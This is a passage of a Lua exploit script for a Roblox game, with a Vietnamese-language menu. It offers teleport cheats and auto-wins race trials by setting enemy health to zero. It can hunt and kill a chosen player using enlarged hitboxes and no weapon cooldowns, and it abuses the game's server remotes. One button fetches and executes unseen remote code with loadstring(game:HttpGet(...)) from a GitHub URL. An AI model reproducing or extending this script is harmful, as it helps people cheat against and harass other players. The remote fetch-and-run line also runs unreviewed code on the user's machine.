LableFrame.Position = UDim2.new(0.625999987, 0, 0.620000005, 0)

LableFrame.Size = UDim2.new(0, 175, 0, 25)

local TextNoti = Instance.new("TextLabel")

TextNoti.Name = "TextNoti"

TextNoti.Parent = LableFrame

TextNoti.Active = true

TextNoti.BackgroundColor3 = Color3.fromRGB(255, 255, 255)

TextNoti.BackgroundTransparency = 1.000

TextNoti.Size = UDim2.new(0, 175, 0, 25)

TextNoti.Font = Enum.Font.GothamBlack

TextNoti.Text = text2

TextNoti.TextScaled = true

TextNoti.TextColor3 = Color3.fromRGB(255, 255, 255)

TextNoti.TextSize = 12.000

TextNoti.TextXAlignment = Enum.TextXAlignment.Left

repeat wait() until TitleFrame.Size == UDim2.new(0, 250-10, 0, 70)

local Time = Instance.new("Frame")

local UICorner = Instance.new("UICorner")

local UIPadding = Instance.new("UIPadding")

Time.Name = "Time"

Time.Parent = TitleFrame

Time.Active = true

Time.BackgroundColor3 = Color3.fromRGB(85, 170, 255)

Time.BorderSizePixel = 0

Time.Position = UDim2.new(0.0320000015, 0, 0.870000005, 0)

Time.Size = UDim2.new(0, 236, 0, 3)

UICorner.Parent = Time

UICorner.CornerRadius = UDim.new(0, 7)

UICorner.Name = ""

UIPadding.Parent = NotiFrame

UIPadding.PaddingLeft = UDim.new(0, 15)

UIPadding.PaddingTop = UDim.new(0, 15)

TweenService:Create(

Time,

TweenInfo.new(tonumber(delays), Enum.EasingStyle.Linear, Enum.EasingDirection.InOut),

{Size = UDim2.new(0, 0, 0, 3)} -- UDim2.new(0, 128, 0, 25)

):Play()

delay(tonumber(delays),function()

TweenService:Create(

imagenoti,

TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut),

{ImageTransparency = 1} -- UDim2.new(0, 128, 0, 25)

):Play()

TweenService:Create(

TextNoti,

TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut),

{TextTransparency = 1} -- UDim2.new(0, 128, 0, 25)

):Play()

TweenService:Create(

txdlid,

TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut),

{TextTransparency = 1} -- UDim2.new(0, 128, 0, 25)

):Play()

wait(0.3)

TweenService:Create(

TitleFrame,

TweenInfo.new(0.4, Enum.EasingStyle.Quart, Enum.EasingDirection.InOut),

{Size = UDim2.new(0, 0, 0, 70)} -- UDim2.new(0, 128, 0, 25)

):Play()

wait(0.3)

TitleFrame:Destroy()

end

)

end

function topos(Pos)

Distance = (Pos.Position - game.Players.LocalPlayer.Character.HumanoidRootPart.Position).Magnitude

if game.Players.LocalPlayer.Character.Humanoid.Sit == true then game.Players.LocalPlayer.Character.Humanoid.Sit = false end

pcall(function() tween = game:GetService("TweenService"):Create(game.Players.LocalPlayer.Character.HumanoidRootPart,TweenInfo.new(Distance/250, Enum.EasingStyle.Linear),{CFrame = Pos}) end)

tween:Play()

if Distance <= 250 then

tween:Cancel()

game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = Pos

end

if \_G.StopTween == true then

tween:Cancel()

\_G.Clip = false

end

end

function GetDistance(target)

return math.floor((target.Position - game.Players.LocalPlayer.Character.HumanoidRootPart.Position).Magnitude)

end

function two(gotoCFrame) --- Tween

pcall(function()

game.Players.LocalPlayer.Character.Humanoid.Sit = false

game.Players.LocalPlayer.Character.HumanoidRootPart.Anchored = false

end)

if (game:GetService("Players")["LocalPlayer"].Character.HumanoidRootPart.Position - gotoCFrame.Position).Magnitude <= 200 then

pcall(function()

tweenz:Cancel()

end)

game:GetService("Players")["LocalPlayer"].Character.HumanoidRootPart.CFrame = gotoCFrame

else

local tween\_s = game:service"TweenService"

local info = TweenInfo.new((game:GetService("Players")["LocalPlayer"].Character.HumanoidRootPart.Position - gotoCFrame.Position).Magnitude/999999, Enum.EasingStyle.Linear)

tween, err = pcall(function()

tweenz = tween\_s:Create(game.Players.LocalPlayer.Character["HumanoidRootPart"], info, {CFrame = gotoCFrame})

tweenz:Play()

end)

if not tween then return err end

end

function \_TweenCanCle()

tweenz:Cancel()

end

end

local args = {

[1] = "requestEntrance",

[2] = Vector3.new(-12463.6025390625, 378.3270568847656, -7566.0830078125)

}

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer(unpack(args))

wait(1)

two(CFrame.new(-5043.92432, 316.20578, -2994.26904, -0.996121764, 0.00353530352, 0.0879130736, -1.68627594e-07, 0.999192297, -0.0401832461, -0.0879841298, -0.0400274247, -0.99531734))

wait(1)

topos(CFrame.new(-5355.62256, 313.715485, -2495.17383, 0.447177857, 6.1724144e-08, 0.894445062, 3.27962084e-08, 1, -8.54047784e-08, -0.894445062, 6.75255336e-08, 0.447177857))

wait(4)

two(CFrame.new(-5501.28369, 1090.39294, -2465.23438, -0.865793586, 0.025783211, 0.499736547, 2.4792098e-07, 0.99867171, -0.0515246391, -0.500401258, -0.0446095653, -0.864643633))

two(CFrame.new(-5844.28418, 1074.10681, -2100.07422, 0.957914591, 0.0115018021, 0.286822826, 4.72762622e-07, 0.999196887, -0.0400702134, -0.287053347, 0.0383839831, 0.957145214))

local args = {

[1] = "RaceV4Progress",

[2] = "Check"

}

game:GetService("ReplicatedStorage"):WaitForChild("Remotes"):WaitForChild("CommF\_"):InvokeServer(unpack(args))

local args = {

[1] = "RaceV4Progress",

[2] = "Begin"

}

game:GetService("ReplicatedStorage"):WaitForChild("Remotes"):WaitForChild("CommF\_"):InvokeServer(unpack(args))

wait(1)

game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(28286.3555, 14896.5352, 102.624695, 0, 0, 1, 0, 1, 0, -1, 0, 0)

wait(0.5)

game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(28286.3555, 14896.5352, 102.624695, 0, 0, 1, 0, 1, 0, -1, 0, 0)

wait(1)

game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(28286.3555, 14896.5352, 102.624695, 0, 0, 1, 0, 1, 0, -1, 0, 0)

wait(1.5)

game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(28286.3555, 14896.5352, 102.624695, 0, 0, 1, 0, 1, 0, -1, 0, 0)

two(CFrame.new(28608.6953, 14898.1895, 105.982483, 0.403912157, -0.0356420763, -0.91410315, 6.79865479e-08, 0.999240696, -0.0389616787, 0.914797783, 0.015737053, 0.403605521))

wait(1)

local args = {

[1] = "RaceV4Progress",

[2] = "TeleportBack"

}

game:GetService("ReplicatedStorage"):WaitForChild("Remotes"):WaitForChild("CommF\_"):InvokeServer(unpack(args))

wait(1.5)

local args = {

[1] = "RaceV4Progress",

[2] = "Teleport"

}

game:GetService("ReplicatedStorage"):WaitForChild("Remotes"):WaitForChild("CommF\_"):InvokeServer(unpack(args))

wait(2)

local args = {

[1] = "requestEntrance",

[2] = Vector3.new(-12463.6025390625, 378.3270568847656, -7566.0830078125)

}

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer(unpack(args))

wait(1)

two(CFrame.new(-5043.92432, 316.20578, -2994.26904, -0.996121764, 0.00353530352, 0.0879130736, -1.68627594e-07, 0.999192297, -0.0401832461, -0.0879841298, -0.0400274247, -0.99531734))

topos(CFrame.new(-5355.62256, 313.715485, -2495.17383, 0.447177857, 6.1724144e-08, 0.894445062, 3.27962084e-08, 1, -8.54047784e-08, -0.894445062, 6.75255336e-08, 0.447177857))

local args = {

[1] = "RaceV4Progress",

[2] = "Check"

}

game:GetService("ReplicatedStorage"):WaitForChild("Remotes"):WaitForChild("CommF\_"):InvokeServer(unpack(args))

local args = {

[1] = "RaceV4Progress",

[2] = "Continue"

}

game:GetService("ReplicatedStorage"):WaitForChild("Remotes"):WaitForChild("CommF\_"):InvokeServer(unpack(args))

DiscordLib:Notification("Thông Báo" , "Hoàn Tất" , 10 ,11816162894 )

end)

Race:Button("Nhặt Gear",function()

for \_,v in next, Workspace.Map.MysticIsland:GetDescendants() do

if v.Name:find("Part") and v.ClassName == "MeshPart" then

topos(v.CFrame)

end

end

end)

Race:Button("Lụm Chest Đảo Bí Ẩn",function()

loadstring(game:HttpGet('https://raw.githubusercontent.com/Chetdithglon/AN\_HUB/main/autochestvip'))()

end)

Race:Button("Xóa Sương Mù",function()

game:GetService("Lighting").BaseAtmosphere:Destroy()

end)

Race:Seperator("Teleport Tộc V4")

Race:Button("Dịch Chuyển Đến Cổng Tộc Của Bản Thân",function()

Game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(28286.35546875, 14895.3017578125, 102.62469482421875)

wait(0.1)

Game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(28286.35546875, 14895.3017578125, 102.62469482421875)

wait(0.1)

Game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(28286.35546875, 14895.3017578125, 102.62469482421875)

wait(0.1)

Game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(28286.35546875, 14895.3017578125, 102.62469482421875)

wait(0.5)

if game:GetService("Players").LocalPlayer.Data.Race.Value == "Human" then

two(CFrame.new(29221.822265625, 14890.9755859375, -205.99114990234375))

elseif game:GetService("Players").LocalPlayer.Data.Race.Value == "Skypiea" then

two(CFrame.new(28960.158203125, 14919.6240234375, 235.03948974609375))

elseif game:GetService("Players").LocalPlayer.Data.Race.Value == "Fishman" then

two(CFrame.new(28231.17578125, 14890.9755859375, -211.64173889160156))

elseif game:GetService("Players").LocalPlayer.Data.Race.Value == "Cyborg" then

two(CFrame.new(28502.681640625, 14895.9755859375, -423.7279357910156))

elseif game:GetService("Players").LocalPlayer.Data.Race.Value == "Ghoul" then

two(CFrame.new(28674.244140625, 14890.6767578125, 445.4310607910156))

elseif game:GetService("Players").LocalPlayer.Data.Race.Value == "Mink" then

two(CFrame.new(29012.341796875, 14890.9755859375, -380.1492614746094))

end

end)

Race:Button("Dịch Chuyển Đến Chỗ Gắn Gear",function()

for \_,v in next, workspace:GetDescendants() do

if v.Name == "Prompt" then

game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = v.CFrame

end

end

end)

Race:Seperator("Auto Win Ải V4")

Race:Toggle("Win Ải All Tộc",\_G.winv4,function(value)

\_G.winv4 = value

StopTween(\_G.winv4)

end)

spawn(function()

pcall(function()

while wait() do

if \_G.winv4 then

if game:GetService("Players").LocalPlayer.Data.Race.Value == "Human" then

for i,v in pairs(game.Workspace.Enemies:GetDescendants()) do

if v:FindFirstChild("Humanoid") and v:FindFirstChild("HumanoidRootPart") and v.Humanoid.Health > 0 then

pcall(function()

repeat wait(.1)

v.Humanoid.Health = 0

v.HumanoidRootPart.CanCollide = false

sethiddenproperty(game.Players.LocalPlayer, "SimulationRadius", math.huge)

until not \_G.winv4 or not v.Parent or v.Humanoid.Health <= 0

end)

end

end

elseif game:GetService("Players").LocalPlayer.Data.Race.Value == "Skypiea" then

for \_,v in next, workspace:GetDescendants() do

if v.Name == "FinishPart" then

game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = v.CFrame

end

end

elseif game:GetService("Players").LocalPlayer.Data.Race.Value == "Cyborg" then

Game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-20093.4961, 9954.93945, -125.194695, 0.627363682, 1.15070167e-08, 0.778726399, -8.20592732e-08, 1, 5.13325205e-08, -0.778726399, -9.61058788e-08, 0.627363682)

elseif game:GetService("Players").LocalPlayer.Data.Race.Value == "Ghoul" then

for i,v in pairs(game.Workspace.Enemies:GetDescendants()) do

if v:FindFirstChild("Humanoid") and v:FindFirstChild("HumanoidRootPart") and v.Humanoid.Health > 0 then

pcall(function()

repeat wait(.1)

v.Humanoid.Health = 0

v.HumanoidRootPart.CanCollide = false

sethiddenproperty(game.Players.LocalPlayer, "SimulationRadius", math.huge)

until not \_G.winv4 or not v.Parent or v.Humanoid.Health <= 0

end)

end

end

elseif game:GetService("Players").LocalPlayer.Data.Race.Value == "Mink" then

for \_,v in next, workspace:GetDescendants() do

if v.Name == "StartPoint" then

game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = v.CFrame

end

end

end

end

end

end)

end)

Race:Toggle("Đánh Sea Beasts Tộc Cá",\_G.SeaBeasts1,function(value)

\_G.SeaBeasts1 = value

StopTween(\_G.SeaBeasts1)

end)

Race:Seperator("Buy + Bật Tộc")

Race:Toggle("Tự Động Bật V4",\_G.Auto\_Farm\_Bone3,function(value)

\_G.Auto\_Farm\_Bone3 = value

StopTween(\_G.Auto\_Farm\_Bone3)

spawn(function()

pcall(function()

while wait(0.1) do

if \_G.Auto\_Farm\_Bone3 then

local args = {

[1] = true

}

game:GetService("Players").LocalPlayer.Backpack.Awakening.RemoteFunction:InvokeServer(unpack(args))

end

end

end)

end)

end)

end

Race:Toggle("Tự Động Mua Train",\_G.Auto\_Farm\_Bone4,function(value)

\_G.Auto\_Farm\_Bone4 = value

StopTween(\_G.Auto\_Farm\_Bone4)

end)

spawn(function()

pcall(function()

while wait(0.1) do

if \_G.Auto\_Farm\_Bone4 then

local args = {

[1] = true

}

local args = {

[1] = "UpgradeRace",

[2] = "Buy"

}

game:GetService("ReplicatedStorage"):WaitForChild("Remotes"):WaitForChild("CommF\_"):InvokeServer(unpack(args))

end

end

end)

end)

Race:Button("Dịch Chuyển Đến Npc Mua Train",function()

Game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(28286.35546875, 14895.3017578125, 102.62469482421875)

Game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(28286.35546875, 14895.3017578125, 102.62469482421875)

topos(CFrame.new(28981.552734375, 14888.4267578125, -120.245849609375))

end)

P:Seperator("Player")

Playerslist = {}

for i,v in pairs(game:GetService("Players"):GetChildren()) do

table.insert(Playerslist,v.Name)

end

local SelectedPly = P:Dropdown("Chọn Người Chơi",Playerslist,function(value)

\_G.Select\_Player = value

end)

P:Button("Đặt Lại Player Đã Chọn",function()

Playerslist = {}

SelectedPly:Clear()

for i,v in pairs(game:GetService("Players"):GetChildren()) do

SelectedPly:Add(v.Name)

end

end)

P:Toggle("Theo Dõi Player",\_G.Spectate\_Player,function(value)

\_G.Spectate\_Player = value

end)

spawn(function()

while wait() do

if \_G.Spectate\_Player then

pcall(function()

if game.Players:FindFirstChild(\_G.Select\_Player) then

game.Workspace.Camera.CameraSubject = game.Players:FindFirstChild(\_G.Select\_Player).Character.Humanoid

end

end)

else

game.Workspace.Camera.CameraSubject = game.Players.LocalPlayer.Character.Humanoid

end

end

end)

P:Toggle("Bay đến Player",\_G.Teleport\_to\_Player,function(value)

\_G.Teleport\_to\_Player = value

StopTween(\_G.Teleport\_to\_Player)

end)

spawn(function()

while wait() do

if \_G.Teleport\_to\_Player then

pcall(function()

if game.Players:FindFirstChild(\_G.Select\_Player) then

topos(game.Players[\_G.Select\_Player].Character.HumanoidRootPart.CFrame)

end

end)

end

end

end)

P:Toggle("Kill Người Chơi = Mele",\_G.Auto\_Kill\_Player\_Melee,function(value)

\_G.Auto\_Kill\_Player\_Melee = value

StopTween(\_G.Auto\_Kill\_Player\_Melee)

end)

spawn(function()

while wait() do

pcall(function()

if \_G.Auto\_Kill\_Player\_Melee then

if game.Players:FindFirstChild(\_G.Select\_Player) then

for i,v in pairs(game:GetService("Workspace").Characters:GetChildren()) do

if v.Name == \_G.Select\_Player and v.Humanoid.Health > 0 then

repeat wait()

if (v.HumanoidRootPart.Position - game.Players.LocalPlayer.Character.HumanoidRootPart.Position).magnitude > 300 then

topos(v.HumanoidRootPart.CFrame \* CFrame.new(0,5,0))

elseif (v.HumanoidRootPart.Position - game.Players.LocalPlayer.Character.HumanoidRootPart.Position).magnitude <= 300 then

AutoHaki()

EquipWeapon(\_G.Select\_Weapon\_Kill\_Player\_Melee)

topos(v.HumanoidRootPart.CFrame \* CFrame.new(0,5,0))

game:GetService'VirtualUser':CaptureController()

game:GetService'VirtualUser':Button1Down(Vector2.new(1280, 672))

end

until game.Players:FindFirstChild(\_G.Select\_Player).Character.Humanoid.Health <= 0 or not \_G.Auto\_Kill\_Player\_Melee or not game.Players:FindFirstChild(\_G.Select\_Player)

end

end

end

end

end)

end

end)

P:Toggle("Kill Người Chơi = Súng",\_G.Auto\_Kill\_Player\_Gun,function(value)

\_G.Auto\_Kill\_Player\_Gun = value

StopTween(\_G.Auto\_Kill\_Player\_Gun)

end)

spawn(function()

while wait() do

pcall(function()

if \_G.Auto\_Kill\_Player\_Gun then

if game.Players:FindFirstChild(\_G.Select\_Player) then

for i,v in pairs(game:GetService("Workspace").Characters:GetChildren()) do

if v.Name == \_G.Select\_Player and v.Humanoid.Health > 0 then

repeat wait()

if (v.HumanoidRootPart.Position - game.Players.LocalPlayer.Character.HumanoidRootPart.Position).magnitude > 300 then

topos(v.HumanoidRootPart.CFrame)

elseif (v.HumanoidRootPart.Position - game.Players.LocalPlayer.Character.HumanoidRootPart.Position).magnitude <= 300 then

AutoHaki()

EquipWeapon(SelectToolWeaponGun)

UseGunKillPlayer = true

game:GetService("Players").LocalPlayer.Character[SelectToolWeaponGun].Cooldown.Value = 0

v.HumanoidRootPart.Size = Vector3.new(60,60,60)

v.HumanoidRootPart.Transparency = 0.7

topos(v.HumanoidRootPart.CFrame \* CFrame.new(0,50,-10))

game:GetService'VirtualUser':CaptureController()

game:GetService'VirtualUser':Button1Down(Vector2.new(1280, 672))

end

until game.Players:FindFirstChild(\_G.Select\_Player).Character.Humanoid.Health <= 0 or not \_G.Auto\_Kill\_Player\_Gun or not game.Players:FindFirstChild(\_G.Select\_Player)

end

end

end

else

UseGunKillPlayer = false

end

end)

end

end)

P:Toggle("Kill Người Chơi Gần Nhất ( 80% Reset Acc )",\_G.killplayertrain,function(value)

\_G.killplayertrain = value

\_G.click = value

StopTween(\_G.killplayertrain)

end)

Teleport:Seperator(" Map ")

if World1 then

Teleport:Dropdown("Chọn Đảo", {

"WindMill",

"Marine",

"Middle Town",

"Jungle",

"Pirate Village",

"Desert",

"Snow Island",

"MarineFord",

"Colosseum",

"Sky Island 1",

"Sky Island 2",

"Sky Island 3",

"Prison",

"Magma Village",

"Under Water Island",

"Fountain City",

"Shank Room",

"Mob Island"

},function(value)

\_G.SelectIsland = value

end)

end

if World2 then

Teleport:Dropdown("Chọn Đảo", {

"The Cafe",

"Frist Spot",

"Dark Area",

"Flamingo Mansion",

"Flamingo Room",

"Green Zone",

"Factory",

"Colossuim",

"Zombie Island",

"Two Snow Mountain",

"Punk Hazard",

"Cursed Ship",

"Ice Castle",

"Forgotten Island",

"Ussop Island",

"Mini Sky Island"

},function(value)

\_G.SelectIsland = value

end)

end

if World3 then

Teleport:Dropdown("Chọn Đảo", {

"Mansion",

"Port Town",

"Great Tree",

"Castle On The Sea",

"MiniSky",

"Hydra Island",

"Floating Turtle",

"Haunted Castle",

"Ice Cream Island",

"Peanut Island",

"Cake Island",

"Noname Island(New)"

},function(value)

\_G.SelectIsland = value

end)

end

Teleport:Toggle("Teleport",false,function(value)

\_G.TeleportIsland = value

if \_G.TeleportIsland == true then

repeat wait()

if \_G.SelectIsland == "WindMill" then

topos(CFrame.new(979.79895019531, 16.516613006592, 1429.0466308594))

elseif \_G.SelectIsland == "Marine" then

topos(CFrame.new(-2566.4296875, 6.8556680679321, 2045.2561035156))

elseif \_G.SelectIsland == "Middle Town" then

topos(CFrame.new(-690.33081054688, 15.09425163269, 1582.2380371094))

elseif \_G.SelectIsland == "Jungle" then

topos(CFrame.new(-1612.7957763672, 36.852081298828, 149.12843322754))

elseif \_G.SelectIsland == "Pirate Village" then

topos(CFrame.new(-1181.3093261719, 4.7514905929565, 3803.5456542969))

elseif \_G.SelectIsland == "Desert" then

topos(CFrame.new(944.15789794922, 20.919729232788, 4373.3002929688))

elseif \_G.SelectIsland == "Snow Island" then

topos(CFrame.new(1347.8067626953, 104.66806030273, -1319.7370605469))

elseif \_G.SelectIsland == "MarineFord" then

topos(CFrame.new(-4914.8212890625, 50.963626861572, 4281.0278320313))

elseif \_G.SelectIsland == "Colosseum" then

topos(CFrame.new(-1427.6203613281, 7.2881078720093, -2792.7722167969))

elseif \_G.SelectIsland == "Sky Island 1" then

topos(CFrame.new(-4869.1025390625, 733.46051025391, -2667.0180664063))

elseif \_G.SelectIsland == "Sky Island 2" then

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("requestEntrance",Vector3.new(-4607.82275, 872.54248, -1667.55688))

elseif \_G.SelectIsland == "Sky Island 3" then

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("requestEntrance",Vector3.new(-7894.6176757813, 5547.1416015625, -380.29119873047))

elseif \_G.SelectIsland == "Prison" then

topos(CFrame.new(4875.330078125, 5.6519818305969, 734.85021972656))

elseif \_G.SelectIsland == "Magma Village" then

topos(CFrame.new(-5247.7163085938, 12.883934020996, 8504.96875))

elseif \_G.SelectIsland == "Under Water Island" then

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("requestEntrance",Vector3.new(61163.8515625, 11.6796875, 1819.7841796875))

elseif \_G.SelectIsland == "Fountain City" then

topos(CFrame.new(5127.1284179688, 59.501365661621, 4105.4458007813))

elseif \_G.SelectIsland == "Shank Room" then

topos(CFrame.new(-1442.16553, 29.8788261, -28.3547478))

elseif \_G.SelectIsland == "Mob Island" then

topos(CFrame.new(-2850.20068, 7.39224768, 5354.99268))

elseif \_G.SelectIsland == "The Cafe" then

topos(CFrame.new(-380.47927856445, 77.220390319824, 255.82550048828))

elseif \_G.SelectIsland == "Frist Spot" then

topos(CFrame.new(-11.311455726624, 29.276733398438, 2771.5224609375))

elseif \_G.SelectIsland == "Dark Area" then

topos(CFrame.new(3780.0302734375, 22.652164459229, -3498.5859375))

elseif \_G.SelectIsland == "Flamingo Mansion" then

topos(CFrame.new(-483.73370361328, 332.0383605957, 595.32708740234))

elseif \_G.SelectIsland == "Flamingo Room" then

topos(CFrame.new(2284.4140625, 15.152037620544, 875.72534179688))

elseif \_G.SelectIsland == "Green Zone" then

topos(CFrame.new(-2448.5300292969, 73.016105651855, -3210.6306152344))

elseif \_G.SelectIsland == "Factory" then

topos(CFrame.new(424.12698364258, 211.16171264648, -427.54049682617))

elseif \_G.SelectIsland == "Colossuim" then

topos(CFrame.new(-1503.6224365234, 219.7956237793, 1369.3101806641))

elseif \_G.SelectIsland == "Zombie Island" then

topos(CFrame.new(-5622.033203125, 492.19604492188, -781.78552246094))

elseif \_G.SelectIsland == "Two Snow Mountain" then

topos(CFrame.new(753.14288330078, 408.23559570313, -5274.6147460938))

elseif \_G.SelectIsland == "Punk Hazard" then

topos(CFrame.new(-6127.654296875, 15.951762199402, -5040.2861328125))

elseif \_G.SelectIsland == "Cursed Ship" then

topos(CFrame.new(923.40197753906, 125.05712890625, 32885.875))

elseif \_G.SelectIsland == "Ice Castle" then

topos(CFrame.new(6148.4116210938, 294.38687133789, -6741.1166992188))

elseif \_G.SelectIsland == "Forgotten Island" then

topos(CFrame.new(-3032.7641601563, 317.89672851563, -10075.373046875))

elseif \_G.SelectIsland == "Ussop Island" then

topos(CFrame.new(4816.8618164063, 8.4599885940552, 2863.8195800781))

elseif \_G.SelectIsland == "Mini Sky Island" then

topos(CFrame.new(-288.74060058594, 49326.31640625, -35248.59375))

elseif \_G.SelectIsland == "Great Tree" then

topos(CFrame.new(2681.2736816406, 1682.8092041016, -7190.9853515625))

elseif \_G.SelectIsland == "Castle On The Sea" then

topos(CFrame.new(-5074.45556640625, 314.5155334472656, -2991.054443359375))

elseif \_G.SelectIsland == "MiniSky" then

topos(CFrame.new(-260.65557861328, 49325.8046875, -35253.5703125))

elseif \_G.SelectIsland == "Port Town" then

topos(CFrame.new(-290.7376708984375, 6.729952812194824, 5343.5537109375))

elseif \_G.SelectIsland == "Hydra Island" then

topos(CFrame.new(5228.8842773438, 604.23400878906, 345.0400390625))

elseif \_G.SelectIsland == "Floating Turtle" then

topos(CFrame.new(-13274.528320313, 531.82073974609, -7579.22265625))

elseif \_G.SelectIsland == "Mansion" then

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("requestEntrance",Vector3.new(-12471.169921875, 374.94024658203, -7551.677734375))

elseif \_G.SelectIsland == "Haunted Castle" then

topos(CFrame.new(-9515.3720703125, 164.00624084473, 5786.0610351562))

elseif \_G.SelectIsland == "Ice Cream Island" then

topos(CFrame.new(-902.56817626953, 79.93204498291, -10988.84765625))

elseif \_G.SelectIsland == "Peanut Island" then

topos(CFrame.new(-2062.7475585938, 50.473892211914, -10232.568359375))

elseif \_G.SelectIsland == "Cake Island" then

topos(CFrame.new(-1884.7747802734375, 19.327526092529297, -11666.8974609375))

elseif \_G.SelectIsland == "Noname Island(New)" then

topos(CFrame.new(231.742981, 25.3354111, -12199.0537, 0.998278677, -5.16006757e-08, 0.0586484075, 4.79685092e-08, 1, 6.33390442e-08, -0.0586484075, -6.04167383e-08, 0.998278677))

end

until not \_G.TeleportIsland

end

StopTween(\_G.TeleportIsland)

end)

Teleport:Button("Teleport Dạng Reset",function()

\_G.Instant = true

if \_G.Instant == true then

if \_G.SelectIsland == "Port Town" then

repeat task.wait()

game.Players.LocalPlayer.Character.Head:Destroy()

wait(0.5)

game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-290.7376708984375, 6.729952812194824, 5343.5537109375)

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("SetSpawnPoint")

until game:GetService("Players").LocalPlayer.Data.SpawnPoint.Value == SPAWNPOINT

elseif \_G.SelectIsland == "Great Tree" then

repeat task.wait()

game.Players.LocalPlayer.Character.Head:Destroy()

wait(0.5)

game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(2681.2736816406, 1682.8092041016, -7190.9853515625)

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("SetSpawnPoint")

until game:GetService("Players").LocalPlayer.Data.SpawnPoint.Value == SPAWNPOINT

elseif \_G.SelectIsland == "Castle On The Sea" then

repeat task.wait()

game.Players.LocalPlayer.Character.Head:Destroy()

wait(0.5)

game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-5074.45556640625, 314.5155334472656, -2991.054443359375)

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("SetSpawnPoint")

until game:GetService("Players").LocalPlayer.Data.SpawnPoint.Value == SPAWNPOINT

elseif \_G.SelectIsland == "MiniSky" then

repeat task.wait()

game.Players.LocalPlayer.Character.Head:Destroy()

wait(0.5)

game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-260.65557861328, 49325.8046875, -35253.5703125)

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("SetSpawnPoint")

until game:GetService("Players").LocalPlayer.Data.SpawnPoint.Value == SPAWNPOINT

elseif \_G.SelectIsland == "Hydra Island" then

repeat task.wait()

game.Players.LocalPlayer.Character.Head:Destroy()

wait(0.5)

game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(5228.8842773438, 604.23400878906, 345.0400390625)

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("SetSpawnPoint")

until game:GetService("Players").LocalPlayer.Data.SpawnPoint.Value == SPAWNPOINT

elseif \_G.SelectIsland == "Floating Turtle" then

repeat task.wait()

game.Players.LocalPlayer.Character.Head:Destroy()

wait(0.5)

game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-13274.528320313, 531.82073974609, -7579.22265625)

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("SetSpawnPoint")

until game:GetService("Players").LocalPlayer.Data.SpawnPoint.Value == SPAWNPOINT

elseif \_G.SelectIsland == "Haunted Castle" then

repeat task.wait()

game.Players.LocalPlayer.Character.Head:Destroy()

wait(0.5)

game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-9515.3720703125, 164.00624084473, 5786.0610351562)

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("SetSpawnPoint")

until game:GetService("Players").LocalPlayer.Data.SpawnPoint.Value == SPAWNPOINT

elseif \_G.SelectIsland == "Ice Cream Island" then

repeat task.wait()

game.Players.LocalPlayer.Character.Head:Destroy()

wait(0.5)

game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-902.56817626953, 79.93204498291, -10988.84765625)

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("SetSpawnPoint")

until game:GetService("Players").LocalPlayer.Data.SpawnPoint.Value == SPAWNPOINT

elseif \_G.SelectIsland == "Peanut Island" then

repeat task.wait()

game.Players.LocalPlayer.Character.Head:Destroy()

wait(0.5)

game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-2062.7475585938, 50.473892211914, -10232.568359375)

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("SetSpawnPoint")

until game:GetService("Players").LocalPlayer.Data.SpawnPoint.Value == SPAWNPOINT

elseif \_G.SelectIsland == "Cake Island" then

repeat task.wait()

game.Players.LocalPlayer.Character.Head:Destroy()

wait(0.5)

game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-1884.7747802734375, 19.327526092529297, -11666.8974609375)

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("SetSpawnPoint")

until game:GetService("Players").LocalPlayer.Data.SpawnPoint.Value == SPAWNPOINT

----------------------------------------------------------------------------------------------------

elseif \_G.SelectIsland == "The Cafe" then

repeat task.wait()

game.Players.LocalPlayer.Character.Head:Destroy()

wait(0.5)

game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-380.47927856445, 77.220390319824, 255.82550048828)

